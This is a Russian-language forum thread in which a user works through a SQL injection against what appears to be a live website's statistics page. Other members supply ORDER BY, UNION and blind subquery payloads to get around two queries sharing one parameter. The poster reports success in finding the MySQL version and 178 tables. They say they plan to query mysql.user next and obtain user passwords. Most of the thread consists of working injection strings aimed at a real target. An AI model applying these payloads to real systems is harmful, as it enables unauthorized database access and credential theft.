Всем привет. Такой вопрос: есть sql-injection. При запросе при добавлении к уязвимому параметру: monthname=december' order by 8/* выдаётся следующая ошибка: Code: Error: Запрос: SELECT SUM(uhits) AS suhits, SUM(vhits) AS svhits, SUM(installs) AS sinstalls, SUM(total) AS stotal, SUM(referals) AS sreferals, SUM(portal) AS sportal, SUM(bonus_inst) AS sbonus_inst FROM stats WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' order by 8/*' Ошибка: Unknown column '8' in 'order clause' При вводе: monthname=december' order by 7/* ошибки не выдается, естественно выводится нормальная страница, получается вроде как 7 полей. Однако при monthname=december' union select 1,2,3,4,5,6,7/* выводится ошибка вида: Code: Error: Запрос: SELECT * FROM stats a WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' union select 1,2,3,4,5,6,7/*' ORDER by -date Ошибка: The used SELECT statements have a different number of columns Эта же ошибка выводится во всех запросах по типу monthname=december' union select в кол-ве колонок от 1 до 60, дальше я не пробовал. Я так понял тут следуют несколько один за одним запросов, как с этим работать? Надеюсь на Ваши ответы ) Апд:модеры, я запостил здесь потому что ситуация не еденичная и вообще не очень широко освещена в статьях. Тема о том, что и как делать если идут подряд несколько запросов.
monthname=december' union select 111,222,333,444,555,666,777/* На странице или в коде страницы есть такие значения при таком запросе?
Чё вы ему тут насоветовали? ппц У тебя в скрипте 2 запроса с одной переменной, правильное кол-во столбцов тебе подобрать не получится, ибо один из запросо всегда будет не верный В твоём случае только подзапросы юзать
не 4.2, а 4.1.. то есть подзапросы появились в 4.1.. monthname=december+and+ascii(substring(version(),1,1))>0/* monthname=december+and+ascii(substring(version(),1,1))<0/* проверь разные ли ответы
Спасибо всем ответившим, сейчас проверю, потом отпишу. З.Ы. С 2008 ) Результаты: всё работает, а версия вообще 5.х. Причем версию узнал простым monthname=december' and version()>=5/* Далее, с помощью подзапросов узнал кол-во таблиц, их оказалось 178 ). Сейчас проверю сколько записей '%' в поле host таблицы mysql.user и в зависимости от этого буду либо узнавать пароли юзеров либо узнавать все имена таблиц. Еще раз спасибо всем, хоть наконец-то узнал как юать подзапросы по-нормальному.